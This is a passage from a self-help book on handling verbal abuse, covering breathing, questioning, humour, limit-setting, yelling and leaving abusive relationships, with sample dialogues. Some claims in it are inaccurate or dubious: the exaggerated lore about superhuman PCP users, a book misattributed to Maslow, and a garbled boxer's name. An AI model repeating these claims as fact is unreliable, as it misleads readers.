When doing this strategy you must remember the importance of never ever allowing any of this verbal venom
to fester inside of you and poison your psyche. As I mentioned in Chapter 2, venomous words are like glue—
they stick. They will always stick to you unless you are able to release them mentally and physically.
Therefore, the next strategy is designed to give you complete control over your emotions. This strategy
underlies all of the other strategies presented in this chapter.
When someone aggravates, your adrenaline begins to flow. Your heart beats faster, your head begins to throb,
your face reddens, and your eyes bulge out as you hold your breath. Because you are so shocked, you in
essence forget to breathe. In this case, I'm not talking about strategies where you consciously hold your breath
in order to achieve a specified effect. I'm talking about uncontrolled cessation of breathing. Here is how you
can effectively use the Breathe and Blow strategy to oxygenate yourself.
1. Take a small breath—a two-second sip of air into your mouth.
2. Next, think of your verbal adversary. Recall all the awful things he said to you. Hear his voice spewing forth
poisons. Do your recalling in the three-second period where you will be consciously holding on to your breath.
In this case, you are in complete control of your breathing because you are fully conscious of what you are
doing.
3. As you keep this “verbal violator” in your mind, blow him out through your mouth, exhaling with all your
strength.
4. Keep blowing out this breath until you have completely run out of air.
5. Now stop for two seconds and do not breathe.
6. Repeat this exercise a second time. As you literally blow what he said out of your mind, you are ejecting this
person from your system.
7. Repeat this procedure once more as you continue to blow out all of the toxic negativity and ill feelings the
person's words have brought you.
8. Now stop and take a big breath in through your mouth, filling up your lungs and exhaling normally.
While using this strategy, you may feel a bit light-headed. Not to worry—this is quite normal.
Page 143
Calm, Calculating, Questioning Strategy—Like Columbo
Remember the popular television series Columbo? Detective Columbo would calmly ask invasive questions in
such a matter-of-fact, unassuming way that the criminal would unsuspectingly cooperate and answer his
seemingly benign—but really quite calculated—questions. Then, of course, Columbo was able to solve the
crime and save the day.
Just as Columbo caught his criminal by throwing him or her off balance, you too can use the same approach to
throw your verbal opponent off balance.
If you use this technique, you must use a non-hostile, non-angry, unassuming tone. You will have more
successful results if you take the following advice.
The purpose of this strategy is to ask someone a series of questions that require either a yes or no answer in a
logical progression. It's kind of like a courtroom lawyer who attempts to make an important point by having his
witness respond to a succession of questions. In your case, however, you aren't hostile.
In questioning, you have to begin by asking the most absurd question, which is guaranteed to elicit a no
answer. Then keep going, asking less and less bizarre and over-the-top questions until the person gets the point.
Eventually, he is put in a corner and is forced to see how wrong he is. The “Talk Back!” section gives a clear
example of what I'm talking about. The ignorant man who made a generalized racial slur did a complete
turnaround in his thinking as a result of this strategy.
Talk Back
Here is the Calm, Calculating, Columbo-Like Questioning Strategy in action.
This is a dialogue between an ignorant, prejudiced, narrow-minded bigot and a
level-headed, open-minded, people-loving person. The bigot has made a
pejorative comment about people of color. The Loving Person takes control, as
you will see.
Loving Person: You mean to say you can't stand every single black person in
the entire world?
Bigot: No, I didn't say that.
Loving Person: Do you know of any black person that you do like?
Bigot: I can't recall anyone.
Loving Person: Do you like sports?

Page 144
Bigot: Of course, doesn't every man?
Loving Person: Do you respect any sports stars?
Bigot: Yes.
Loving Person: Who?
Bigot: Muhammad Ali and Michael Jordan.
Loving Person: How about in politics or music?
Bigot: I don't know much about politics, but I like BB King and Aretha
Franklin.
Loving Person: Is there any one black person whom you ever thought was
intelligent or talented?
Bigot: Sure, Oprah Winfrey, that guy on 60 Minutes…Ed Bradley.
Loving Person: Have black people as a whole ever done anything to hurt you
personally?
Bigot: No, not me. Not personally.
Loving Person: You seem like a hard-working man who takes care of his
family. Do you think that there are some black people who work hard for and
care about their families as much as you care about yours?
Bigot: Of course there are!
Loving Person: Do you personally know a lot of black people?
Bigot: No, not personally.
Loving Person: Have you ever worked with any black people?
Bigot: Of course I have.
Loving Person: Did you hate every black person you worked with?
Bigot: Of course not. In fact, one of my best buddies at work was a black man.
Loving Person: Have you ever felt that if fewer people hated one another and
got to know one another better as individuals, just like you got to know your
buddy at work, that there would be less hatred and ignorance in the world?
This strategy is so powerful because it makes a person become accountable for what verbal toxin he has
spewed forth. If you practice this strategy and learn to do it well, you can not only make your point, you can
even change the other person's way of thinking. As an active participant in the communication process, he is
clearly able to take a good look at himself and see how ridiculous he has been.
The Naked Truth Strategy.
Because it is such a rarity in this day and age, direct, bold honesty can blow someone out of the water! When
someone makes a nasty and hurtful comment to you, you have the option to tell her the “naked truth.” If you
decide to use this strategy, you will definitely have thrown her off balance. No way was she expecting to hear
how repulsive you think she was being when she said what she said to you.

Page 145
Most likely, she will be intimidated by your direct honesty as you deliver the message to her in a projected and
well-modulated tone, with an upright, heads-up posture. This is a perfect situation to illustrate how your daily
verbal workouts can assist you in each of the strategies you choose to use. Incorporating good posture, direct
facial contact, and a sonorous voice—techniques you learned about earlier in this book—are essential if you
want to be effective in getting your verbal message across to verbal abusers.
The Naked Truth Strategy often prevents verbal bombs from being hurled at you in the future. Your verbal
adversary usually gains a newfound respect for you, because you have let her know in no uncertain terms that
you are on to her verbal games and you will tolerate none of them.
In essence, your self-respect—speaking up for yourself—made the verbal enemy have more respect for you as
well.
“The Joke's on You”—Funny Bone Strategy
Another sure-fire way to throw your verbal enemy off-kilter is to make fun of either him or yourself.
Sometimes it's difficult for you to come up with something funny, especially after the other person says
something that almost leaves you crying, not laughing. Once again, take that lifesaving sip of air in through
your mouth for two seconds. Hold it for two seconds, and then start rolling with some humor. The four seconds
buys you some time to think of a joke.
It's best to make a joke related to something negative the person said to you. By retorting in a positive and
humorous vein, you gain the upper hand and control over the situation. On the other hand, you can add insult to
insult. This will definitely throw him for a loop! He may think he “gotcha” with his zing when in reality, you
“gotcha” self with an even better zing!
The key here is to say something even more outrageous than he did.
Page 146
Another humorous technique is to fight fire with fire. He zinged you—zing him back! He says you need to lose
weight; you say he does too. Chances are, this insensitive clod isn't exactly Baywatch material either, right?
Tell him that. Now his big mouth must weigh a ton.
Using this strategy, it doesn't matter what you say, as long as you say something that's funny to you.
Later on in the book you learn how to use some snappy comebacks that apply to specific verbally noxious
people in specific situations.
Love 'Em Up Strategy
“A pat on the back is just a few vertebrae from a kick in the pants.”
Anyone who has to resort to spitting out verbal venom usually lacks the basic element for survival—love.
Those who lack enough love and support from others usually become insecure, jealous, and angry, and they
don't really feel good about themselves. Deep down, they really want to reach out but can't, so they go the other
direction and act hateful and spiteful. This behavior is, of course, due to their inner rage of not feeling loved
enough.
If you look at them in this vein, you won't have as many bad feelings towards them. They really need to be
pitied more than hated. They need more compassion than aggression.
Therefore, instead of being angry at them you actually need to diffuse their anger with love and kindness. This
is a Herculean task for anyone who has been verbally shot, maimed, and blown to bits. If you find you just can't
do it, not to worry. This is just one tool of many in your arsenal of verbal defense weapons.
If you think of the common phrase “kill them with kindness,” you might feel a lot better about employing this
strategy more often.
Below are six sub-strategies of the Love 'Em Up Strategy for verbal defense. Try them! They are actually fun
to do and very empowering.
Gentle-Toned Name Repetition
In his bible of the times, How to Win Friends and Influence People, Dale Carnegie mentions that the sound of a
person's name is the sweetest music to her ears. Why? It's the same as what was said earlier in this book—
people love to talk about their favorite subject, themselves. Softly saying people's names over and over in a
loving tone certainly gets their attention, especially if they are in a rage. It helps to calm them
Page 147
down. Your control over the situation allows them to get in control of themselves. It disarms them. They can't
help but stop and listen. Instead of being seen as the verbal battering ram, you become a warm, soft verbal
cushion, making yourself “user-friendly” to them. By the way, this is a standard technique mental health care
professionals use in their attempts to gain some control with autistic children.
Hush Hush Strategy.
This technique is similar to the preceding one, except that you substitute the term “hush hush” for the person's
name. It's virtually the same technique that you would use with a crying baby in softly telling her to hush as
you hold her. Your steady calming tone as the air produces the “hush” sound elicits calmness.
This is an excellent technique to use when a person won't shut up. If you keep repeating “hush hush” in a calm
and steady voice, on a continuous basis, he or she will eventually stop yelling and carrying on. In essence,
these people are like big babies who need their mommy or daddy to comfort them.
Let the Baby Have Her Bottle Strategy
Speaking of babies, remember when you were a child and another child would cry or get upset when you
played with his her toy? Oftentimes, to save face and rationalize your little feelings (which were actually big
feelings at the time), you retorted with “Okay, let the baby have her bottle.” The little perpetrator was usually
taken aback by your comment. She didn't want to be referred to by that evil four-letter word, B-A-B-Y, so she
often relinquished the toy to you or shared it with you. Little has changed since your youth. Oftentimes, when
you yield to your verbal opponent, she becomes powerless and you gain back the control.
If you counter what the verbal abuser says by agreeing with her, she has nowhere to go. She is taken offbalance
and loses her verbal footing. She has no idea where you are coming from and no idea of what to say
next. Obviously, she can't fight with herself, so she is silent. This quashes her verbal venom.
Hand-Holding Fighting Strategy
This strategy, which I personally devised for my clients, is one of the best techniques to be used in relationship
therapy. It's obvious that the couple loves one another, but they keep fighting and bickering over stupid and
ridiculous things. They end up saying mean and ugly things to one another that devastate both of them. As you
learned

Page 148
earlier in the book, words stick—especially ugly words! So, I tell the couple, as difficult as it may seem, as
soon as they start this stupid bickering, one has to immediately grab the other's hand and hold it and continue to
bicker.
They usually start laughing and stop fighting, becoming softer and more affectionate with one another. As they
continue to hold hands, each one often starts to communicate his or her side of the issue in a calm and loving
manner, so that each mate is able to really hear what the other has to say.
It's a very powerful tool for effective communication between couples as well as friends.
By the way, the one who takes the other's hand first is the one who has the control over the situation.
Heart-in-Hand Strategy
Dating back to ancient Roman times, when Rome was busy trying to conquer the world, anyone who met up
with the Romans was concerned about weapons they might be hiding. Thus, when the Romans placed their
hand over their heart to express their sincerity, respect, and liking toward the person, one could readily see that
the person was safe (at least at that moment), because there was no weapon in the potential opponent's hands.
In this century, this gesture has come to express extreme passion and feeling toward another person. More
currently, it expresses passionate love but also despair, a “heaviness of the heart.” Therefore, when you
lovingly converse with your verbal opponent with this gesture, especially one whom you really love, you have
the advantage. Subconsciously, they are getting the cue of how deeply they have affected you. Usually this
mitigates their verbally toxic behavior.
“What's Good About You” Strategy
If you tell your child he is good even if he is a little terrorist tormenting everyone and leaving a path of
destruction in his wake, he often acts better, especially around you. Since you have good expectations for him,
he will often follow suit.
This is no different when you tell grown-ups how good they are and discuss their good points. Doing so, you
gain the upper hand and control over the situation. Who wouldn't want to hear good things about themselves?
This usually stops them in their tracks and they begin smiling. Even though they know they have been bad, the
fact that you still manage to see something good in them makes them feel pretty good about you. If they are
feeling good about you, it is more difficult for them to verbally attack you.

Page 149
Page 151
Chapter 12
When More Powerful Weaponry Is Needed
The strategies in Chapter 11 work quite well if you are dealing with basically civilized people with whom you
can communicate at least on a basic level. Others need to be shaken up a bit more. Even though I recommend
first using the “pat on the back” philosophy in dealing with verbal venomites, sometimes you have no choice
but to give them the “kick in the pants” in order to get them to finally hear you.
This chapter explains when you really need to implement this kick in the pants approach. These strategies are
most effective in defending yourself against those verbal bullies.
Never Walk Away When You Have Something to Say!
Ask a group of people what they would do if someone had just verbally assaulted them and continued to
verbally abuse them. Inevitably you will hear the following, unfortunately very common response. “I'd just
walk away.” If you give them a clearer, more
Page 152
descriptive picture of the verbal perpetrator's heinous actions, the response would still stay the same, only some
people would probably pipe up “I'd ignore them!”
Well, guess what? You can't ignore it! It's there. It's right in front of your eyes. It haunts you later. You hear the
voices, you see the vision, you feel the pain. If you ignore it now, it will come back to haunt you later through
physical and mental anguish.
Protecting the Other Cheek
Perhaps they say that they would simply walk away because they feel that they are “peace-loving” people and
that's what peace lovers should say—at least publicly.
There are others who walk away because of their religious teachings. They have been raised to turn the other
cheek when someone doesn't treat them right.
I don't want to sound cavalier or irresponsible or insult anyone's religious views. In fact, I endeavor to respect
everyone's religious views. So do not in any way misinterpret what I am about to say.
Turning the other cheek does not mean to turn the other cheek so that you can be slapped again on the other
side of your face. As I and many people in the clergy see it, turning the other cheek means turning the other
cheek away from the verbal tormentor so that you can be proactive and move on, and never let anyone verbally
abuse you again.
Don't Just Stand There—Do Something!
Whatever you decide to do, do something. Even if you choose to simply walk away, don't ignore how the
verbal abuser's words made you feel. Unless you are a zombie or an alien from another planet, you have
feelings that will emerge following this psychologically traumatic event, although you might not realize it at
first as you slough off what happened.
Later on, you might develop a type of post-traumatic verbal shock syndrome. If you don't deal with your
feelings immediately, you will have to deal with the emotional consequences later. So talk about what
happened to you—what awful things someone said to you and how he or she said it. Tell all your friends, your
family, your clergy, and your therapist. These people will support you.
Page 153
Verbally Setting Firm Limits
Frequently, those who become victims of verbal crime are in the situation they are in because they don't set
strict verbal limits with the verbal perpetrator. If they do set limits about how a person can talk to them, they
often won't enforce those requirements. As a result, the verbal perpetrator loses respect and doesn't take what
the person says seriously.
One of the biggest miscommunications occurs when a verbal victim cries out, “I told him time after time not to
say what he says to me and cut me down, but he keeps saying it anyway.” When you first hear a victim report
this, you feel like punching the verbal perpetrator in the nose. However, upon closer examination you find out
that although the victim really did tell him to stop bringing up that sensitive topic and stop putting her down,
she neglected to report that she made this request while giggling and laughing, using a coquettish girlie tone.
In no way was the message conveyed to “Cease and desist! Immediately!” At times (like when she began to
cry), he would get the message, but then he would retreat to his old ways. He never took her seriously. In fact,
upon questioning him about her tears in regard to his verbal abuse he sloughed it off by saying, “It was
probably her PMS kicking in.”
Granted he sounds like a jerk, and granted it is not appropriate to blame the victim. But in this case we see
how, if she doesn't adamantly stand up for herself so that he truly hears her, thereby causing him to show some
verbal respect for her, the effect is that she will continue to suffer hearing his verbal abuse.
She needs to speak up—not giggle and laugh—but really speak up in a manner that will perk up his ears once
and for all and cause him to change his obnoxious behavior. Most important of all, she needs to be consistent if
he falters and attempts to revert to his old ways.
The tone and words you choose definitely let the person know that you mean business. It lets him know that he
can never again say what he just said to you.
The upcoming “Talk Back!” section illustrates how this is done. Julia, an investment banker, has a
conversation with one of her male colleagues. Julia, who usually dresses in corporate-style clothing, runs into
one of her colleagues, James, at a disco. There is nothing corporate about her appearance at the club. She is
wearing a short, low-cut, skin-tight, black Lycra spandex dress that shows off her ample cleavage and long,
sleek legs. As she leaves the disco, she runs into her colleague on the street. Here's what happens next.
Page 154
Talk Back
James: Oh my God. I am going to have a heart attack! Julia, this can't be you.
Julia: Well, it is me!
James: You… you… you certainly don't look like this at work.
Julia: Well, I should hope not. When I'm at work, I'm not out clubbing.
James: Whoa, I can't wait to tell everyone about this at work tomorrow.
Julia: [Smile immediately changes into serious scowl while looking directly at
him. Voice becomes low-pitched and she projects her voice loudly.] My social
hours are mine! My work hours are the company's! Get it?
James: Don't get so bent out of shape, I was only kidding!
Julia: Well, I'm not kidding. You have no business discussing my personal
business with anyone! We both need to be respected by everyone in the office if
we want to get anywhere, wouldn't you agree?
James: Sure! No problem.
Verbally and vocally, Julia left her light and comfortable, friendly, social speaking style and turned to her
corporate style of speech, which was more projecting, lower pitched, and more serious. James obviously got
the message. Later, he tried to avoid Julia whenever he saw her at the office.
“This Is Unacceptable!”
This is the best phrase to use when someone is trespassing your verbal limits. Say it in a firm, projected tone so
that you will be heard! Do not laugh when you say it! Do not smile or have a “matter of fact” expression on
your face! Do not giggle! Do not use a high pitched voice! Don't say it as a question, sounding tentative as you
go up at the end of the word “unacceptable.” Do not pepper this phrase with filler words such as “like,” “um,”
and “you know!” Finally, do not mumble. Draw out your vowels when you speak these three words.
In continuing to let someone know that he has over-stepped his bounds, you can then go on to explain what it
was that you didn't like about what he said to you. Try not to get out of control, screaming and yelling. Instead,
talk calmly, yet firmly, so that there is no question that you meant what you said and said what you meant.
Never deviate from what you said!
Therefore, you need to watch out for verbally toxic behavior that someone may once again repeat.

Page 155
“Excuse Me? Are You Talkin' to Me?”
Even more intimidating to the verbal perpetrator is using the classic lines that Robert DeNiro's character,
Travis Bickel, spoke in the Martin Scorsese film Taxi Driver: “Excuse me? Are you talkin' to me?” indicating
that he was armed and ready for action.
It has become a catch phrase. In basic terms, it is a warning signal. It means “I heard what you said. You
disrespected me. I didn't like it! So don't even think of talking to me like that again.”
This immediately lets people know that you are serious and you have no patience for their ill verbal treatment
of you. This being the case, do not smile while you make this powerful statement or give a nervous laugh
afterward. Say it loud and clear so you will be heard. Your loud, clear voice resonating these words in their ears
are destined to wake them up, shake them up, and shut them up!
Strategy of Loud Verbal Explosions!
Speaking in a loud and clear voice gives you a lot of verbal and vocal power. People listen. In order to get a
verbally abusive person to curtail hurling her abuse in your direction, you can often deflect her verbal bullets
with sound, especially if that sound is loud and booming.
You will definitely throw her off balance, which, as in martial arts, is a winning move! It certainly gets her
attention and shocks her into stopping—at least for the moment.
Her startled response has been put into action, causing her nervous system to work overtime and to be thrown
off balance. She is thrown off balance mentally as well. She saw you in one speed, and here you go changing
gears! She definitely wasn't expecting that! Unless she is completely deaf, you have gained the upper hand and
come out ahead in another verbal battle.
Fight Clean and Fair!
A verbal warrior who fights dirty is the absolute worst! With a dirty fighter, there is little or no hope in your
attempts to win the communication battle.
Dirty verbal fighters can cause a melee. Often they will hit you so far below the belt that you'll reel in
emotional pain forever.
In the boxing ring, if a professional fighter fights dirty by hitting an opponent below the belt, or does
something really dirty (like biting off an opponent's ear), that fighter will be disqualified.
Page 156
Keep It Above the Belt
Sometimes, the public's rage at the fighter's injustices to the other fighter become so inflamed that the fighting
extends to those outside the boxing arena. Look what happened at Madison Square Garden when fighter
Riddick Bowe was repeatedly punched below the belt by Ron Goletta, a known dirty fighter who was warned
about his tactics. Each time Bowe was hit in the groin, the fans felt his pain too. After Goletta was finally
disqualified, all hell broke loose, literally. Fans mobbed the ring. Chairs were flying. Managers and fight
personnel were beaten. Innocent bystanders were physically flung out of the ring. Countless fights broke out in
the stands, with stranger pummeling stranger. People were injured, people were arrested, people were jailed, all
because of dirty fighting—literally being hit below the belt.
Hitting someone below the belt is not confined to the boxing ring. It happens on a daily basis in people's
homes, offices, at social gatherings, and even on the street. We know all too well about hitting below the belt in
communities that suffer extreme gang violence. A verbal insult about someone's mother or girlfriend, which is
definitely hitting below the verbal belt, can result in the insulator being killed.
In anger, people bring up things you never knew about (for example, your husband's three-year affair,
communicated to you in hostile, angry terms). They bring up things you thought they never knew about (the
time you went to jail for stealing a car when you were 18, for instance) They bring up and uncover horrible
things that happened in your life where only extensive psychotherapy or religious devotion have allowed you to
cope with the guilt and live one day at a time (such as when your girlfriend got killed in a motorcycle accident,
while you were driving).
These verbal cuts are the deepest and hurt the most. In many cases, these cuts will never heal. There is too
much resulting pain. There is so much blood coming from the verbal wound that your relationship is gone
forever—dead!
Even if someone is a dirt bag of a fighter, you don't have to join in and follow suit. It's not going to make you
feel any better throwing verbal bombs at him. He has to live with the devastation he has done to you. Don't add
insult to your injury and have the additional burden of living with the emotional devastation you caused them.
Take solace in knowing that what goes around usually comes around.
Never, Ever Use Physical Violence!
Your hands, legs, body, and teeth are completely off limits! The only time you can use your teeth is when they
are used in conjunction with your tongue and your lips and allow you to speak to someone—never to
physically hurt someone.
Never use physical violence!
No matter how angry you get at what someone said, the consequences of physical violence are not worth
enduring. There is no excuse whatsoever for physical violence. If you feel as though you are coming close to
beating someone up over what they said, please don't do it! Before you get ready to do it, take your breath in,
hold it, and blow, blow, blow all your air out instead of blowing someone's brains out!
Page 157
Fantasy Strategy—an Alternative to Physical Violence.
If you are so angry that you can spit nails, or you feel as though steam is coming out of you ears and you are
thinking that no matter what happens to you, you're gonna do someone in—don't!
Instead, use this strategy immediately! Fantasize about what you'd like to do to them. See it in your mind, feel
it, hear it. Just don't do it in real life! I can't give you any specific ideas here in terms of what to imagine. These
fantasies must come out of your own mind and your own anger. If they are gruesome, run with it mentally. As
you see the images in your mind, you will be surprised at how much better you will feel and how much less
enraged, even relieved. You will feel like you have released the pressure-cooker tension from your physical
being.
Another alternative is to watch the fights on television or even to go and see a boxing match. As the winner is
punching the loser with repeated blows, picture your enemy's face being pummeled by the winner. Don't think
this is weird. We have all unknowingly used the Vicarious Fantasy Technique when we watch our favorite
superstar heroes beat the living daylights out of someone on screen. Next time you're watching one of these
films, just think of what a thrill it would be to see the hero doing what he's doing on screen to your adversary.
It's a lot more acceptable than living this scenario in real life.
Never Threaten One's Basic Needs!
“You'll never work in this town again.” “I will ruin you.” “I will make sure everyone knows about this.” “I will
get you fired.” “I will sue you for everything you've got.” “When I'm done with you, you won't have a penny
left to your name.” “You'll be living on the streets.” “I'll make sure you starve to death.”
Page 158
These types of verbal threats are often made in anger. People making these threats don't even think twice about
the implications of what they have said. They just know that they are hopping mad and that these threats are the
best way for them to let off steam. They have no clue about the impact of their words or the possible
resounding consequences.
It is extremely dangerous to threaten people by holding the threat of their basic existence up to them. In the
classic book The Hierarchy of Needs, the famed psychologist Abraham Maslow discusses human being's basic
need for air, food, and shelter.
When these basic needs are threatened, the consequences can be devastating. Biologically, it triggers basic
survival instincts, such as the fight-or-flight mechanism. When this happens, the results are not pretty; they are
pretty devastating. Through the ages, people have been killed for making verbal threats against one's basic
needs.
To repeat: Never, under any circumstances, make threats to people, especially when it pertains to their
livelihood! Tempers can flare to the point that they become out of control, and the results can be deleterious.
Keep Your Cool
If your livelihood has been threatened, never resort to physical violence or perpetrating physical harm against
someone. Reread this section. Other alternatives are more effective and more productive! So read on and you
will discover what these alternatives are and how to use them.
In light of the repeated school killings in which young students (children) have shot their peers to death, threats
should always be taken seriously, whether or not they are just made in the moment of anger. We have,
unfortunately, seen the aftermath of what happens when threats are not heeded.
The moral of all of this is that, no matter how angry you get, never threaten anyone—not even in jest. You are
risking being taken to jail. You are risking the financial ruin of having to go through a lengthy court battle. And
most important of all, you are risking your life!
Verbally Mirroring the Foe Strategy
In describing the strategy of Verbally Mirroring the Foe, many of you might argue, “I couldn't do what they
did. I would never think of stooping to their level.” I understand your point. However, guess what? If you don't
stoop to their level, how are they going to hear you? How are they going to know when their verbal behavior is
unacceptable?

Page 159
By stooping to their level, you are forcing your verbal perpetrators to see their ugly words reflected back to
them. You are, in essence, their “verbal mirror.”
One of my attorney clients was negotiating a deal over the telephone with another attorney who was verbally
hostile and abusive. My client could not get a word in edgewise as the verbally toxic adversary hogged up the
entire conversation, shouting obscenities, and screaming and yelling. All of a sudden, my client pulled the
phone away from his ear and began to bark like a dog. Stunned, the abusive adversary stopped talking and
asked “What did you say?” My client continued to bark like a dog. He then stopped and said, “That is exactly
what you sound like—a barking dog. Now Mr. Jones, you and I are both highly qualified, well-trained,
civilized professionals. Let's act that way and speak intelligently and quietly so that we can each listen carefully
to what the other is trying to say and come to an amicable resolution.”
My client merely gave Mr. Jones a glimpse of himself in the verbal mirror. He certainly didn't like what he
heard. It was obvious that Mr. Jones had no clue that he sounded like a barking dog when he negotiated. But he
certainly became aware of it and has subsequently made it a point to listen and not “bark” at other attorneys—
at least not as much as before!
A taste of their own verbally toxic medicine is often all they need to make them aware of how poorly they
come across to others. In fact, because they often don't even realize it, look at using this strategy as doing them
a favor!
Talk Back
Here is a conversation of an employee mirroring her boss. A word of caution
before using this technique on your boss: There's only a 50 percent chance that
you will still have a job after using this strategy on someone who has more clout
than you do. Ann was lucky her boss responded well. I don't know how your
boss will take it, so it's strictly up to you whether to use it or not.
Boss: [in loud and gruff monotone] ANN, GET ME THE JOHNSON FILE
AND BRING ME A CUP OF COFFEE—CREAM AND SUGAR!
Ann: [mirroring his exact loud and gruff tone] OKAY, I'LL GET YOU THE
JOHNSON FILE AND BRING YOU A CUP OF COFFEE—CREAM AND
SUGAR!
Boss: Why are you yelling? Why are you talking so rudely to me?
Ann: Well, Mr. Thompson, that's exactly how you talk to me.
Boss: Really, I had no idea. Well, I apologize. Thanks for pointing it out.
Page 160
“Give 'Em Hell and Yell” Strategy.
Similar to the Mirror Strategy, the Give 'Em Hell and Yell Strategy allows people to see how verbally toxic
they are. Although we have been conditioned that it's not nice to scream and yell at people, there are times
when you have no choice. You are at your wit's end. You've tried everything else and the verbal vulture still
doesn't “hear” you.
There is nothing else to do but “let 'em have it!” Go for it! Be as loud and angry as you want. Let your face turn
red and the veins in your neck pop out and pulsate. Yes, you can even say a four-letter word or two and contort
your face to look like a monster. The key is to say anything (short of threatening their livelihood or their life) to
get out the anger and frustration that you have towards them. Don't keep any of it in! Open the flood gates and
let it roar! It gives you permission to act like a wild tiger.
Yes, you read correctly, I said that it was okay to use cuss words (but don't make a habit of it). Doing so, and
“shocking” them into listening to you, might be the only way you can get them to finally hear you.
A big word of CAUTION! Never use any of these strategies in conjunction with your hands, arms, fists, legs,
feet, or teeth. Never use any weapons (knives, forks, guns, rifles, machine guns, or hand grenades) whatsoever,
even if it's only done for effect, to threaten or scare your verbally offensive opponent. The potential
consequences can be horrific!

Page 161
Chapter 13
Enough Is Enough! Knowing When to Retreat
When is the verbal war over? How do you know if you were the winner or the loser? The answer is simple. If
you have used up all of the verbal defense strategies in the last two chapters, and nothing has worked, it's time
to retreat. This means “unplug.” Get away from the extremely toxic verbal abuser. Run. Run as fast as you can!
Run for your life.
Some individuals are similar to drug addicts on PCP. It's very difficult, if not impossible, to quell their bizarre
and often violent and intensely destructive behavior (like running naked down the street). They develop the
strength of ten men, to the point that in many cases they are impermeable. They are literally like “Supermen”
who can't be defeated by the usual methods. They are physically resistant to pain, perhaps because the
alteration in their biochemistry doesn't register the sensation of pain.
Page 162
Because individuals on PCP are usually a danger to themselves and to society, great efforts are made to capture
them and lock them up. Several law enforcement officers report that such individuals are so strong that it can
take up to twelve officers to subdue them. Additional reports claim that they easily burst open their handcuffs
and chains and can even bend the bars of their jail cells.
Similarly, if none of your verbal strategies worked to subdue the verbal bully, you need to cut your losses and
move on; otherwise, like people on PCP, they can annihilate you.
If you have done everything, from giving them love and kindness to giving them hell and yelling a them, and if
none of the techniques could soften or change the verbal bully's behavior, you have absolutely no other
recourse than to run for your life!
Three Strikes and You're Out!
People stay in horrible relationships way too long with the hopes of “working things out.” More often than not,
things never work out! The time to get out of a verbally abusive relationship is NOW! In baseball there is a rule
that after three strikes, you are out. And in some states across America there is a “three strikes” law.
Therefore, I believe as well in the “three-strike rule” when it comes to being verbally abused. The first time a
person verbally abuses you, even though it's awful, can be written off to “having a bad day,” “not feeling well,”
“having PMS,” or “testing you to see how far they can go”—pushing their limits with you.
The second time it happens is horrible, but it can be attributed to “a life crisis” (such as job problems, problems
with children or with family members excluding you, health issues involving anything from a cold to
impotence, menopause, or a life threatening illness).
But the third time it happens, there are no more excuses. You're out! Leave!
Yes, But…
Don't “yes, but…” me. Don't “yes, but…” yourself. Verbal abuse is verbal abuse! That's it! If someone is
saying to you any of the things mentioned in Chapter 2, guess what? You are the victim of a verbal crime, and
the verbal criminals need to be out—for life! Out of your life for the rest of their lives!
Many of you will think that this statement is too harsh, but there's nothing harsh about telling you that you are
shortening and diminishing the quality of the most precious gift that has been given to you—your life! I'm
telling you this because I really care about you. I care so much that I am willing to dedicate my life to helping
people in the same situation you find yourself in. So please open your mind. See and hear

Page 163
what I am trying to tell you. The longer you stay in a verbally abusive relationship, the longer you will feel bad
about yourself. You are in a losing battle and you will never win the verbal war.
If you have truly done everything I've discussed in this book thus far, using every single verbal defense strategy
correctly and following the steps in the book to a “t,” but your results are to no avail, then there are no more
“yeah, buts…” to hear.
I Say “Yes,” You Say “No”
You may have some good reasons (at least they seem good in your mind) for staying in a verbally abusive
relationship. Well, I have even better reasons for you leaving that horrific situation, a situation where your selfesteem
is eroding every day you are in the verbal perpetrator's presence.
The following list gives explanations of why I keep saying “no” to your “yes.” There are no more excuses, so
pay close attention to my answers.
1. Your “yes!”: I don't want to upset my comfortable lifestyle.
Dr. Glass's “No!”: How comfortable is your lifestyle when you are living with someone who uses you as a
verbal punching bag? No matter what the two of you do together—no matter how many yachts you sail on,
privates jets you fly in, designer clothes you wear, exotic places you visit, and beautifully decorated homes
you have—nothing is worth the emotional torment that verbal abuse brings. All of your material goods
mean zero when you are in a hospital bed dying of cancer, a stroke, or heart attack because you let the
abuse fester and fester until it erupted in devastating illness.
2. Your “Yes!”: I'm staying for financial reasons.
Dr. Glass's “No!”: Sure, it's going to be hard at first, but millions of people are the breadwinners without a
spouse, partner, or roommate. It is better to live on bread and water than eat in a home with a verbal
abuser.
3. Your “Yes”: I can't leave for the sake of the kids.
Dr. Glass's “No”: I say that you should leave for the sake of the kids! Who in their right minds would want
their child to grow up hearing their parent get verbally beaten up on a daily basis? Children do grow up,
and they grow up learning that they can speak to others in a verbally abusive way or that others can speak
to them in a verbally abusive way.
4. Your “Yes!”: But, I'm In Love With Him/Her!
Dr. Glass's “No”: First of all, you need to redefine what you mean by “love.” Great sex is not love—it is
just great sex! Sex may be an expression of love for
Page 164
some people, but if that love is not expressed outside of the sexual liaison, then it's not love! IT'S JUST
SEX! Love is having respect and admiration for someone. If someone doesn't respect and admire you
enough to speak to you with civility, guess what? (I hate to be the one to break it to you, but this book is
about honesty, so here's the bottom line.) They may not really love you in the true sense of the word.
5. Your “Yes!”: What will everyone think?
Dr. Glass's “No!”: Who cares? They are going to think whatever they want to think. They aren't the ones
living your life—you are! So live it through your eyes, not through anyone else's eyes! Besides, anyone
worthwhile will respect you for getting out of an abusive relationship.
6. Your “Yes!”: They didn't really mean it. They were just under a lot of pressure at work, with the family and
everything else going on in their life.
Dr. Glass's “No!”: As fast as your legs can carry you, go to an AlAnon meeting so you can see what
enabling is all about and what an enabler you are. If they had Verbal Abusers Anonymous (VAA) or
VerbAnon, I'd insist that you go to their meetings, but since they don't (at least not yet), go to the next best
thing. Go now!
7. Your “Yes!”: With me in their life, maybe they'll change.
Dr. Glass's “No!”: And maybe green pigs will dance in the trees! I don't think so! Get this through your
head: “What you see is what you get!” “What is, is what is!” People don't change their ways unless they
really want to. There is sufficient evidence that people don't change their behavior unless they are retrained
with extensive therapy. Even then, they still might not change unless their positive behaviors are
continuously reinforced!
It's similar to leopards. We've all heard the expression that “leopards don't change their spots”—unless of
course you paint some additional spots on them. When the paint eventually wears off, they are back to looking
like they did before, with the same old spots. Unless you continuously keep painting new ones on, the old spots
will remain the same.
If a leopard doesn't want you to change its original spots, but you insist on changing the leopard by painting
new spots on its fur anyway, be prepared to become its lunch! It will destroy you, chew you up, and swallow
you. If it's had enough of you, it'll spit you out!
The same is true for a person whom you think you can tame or change. Like the leopard, he too will eat you for
lunch. He will destroy you, chew you up, and swallow you, and when he's had enough of you, he'll spit you
out!
Page 165
You Finally Got the Message!
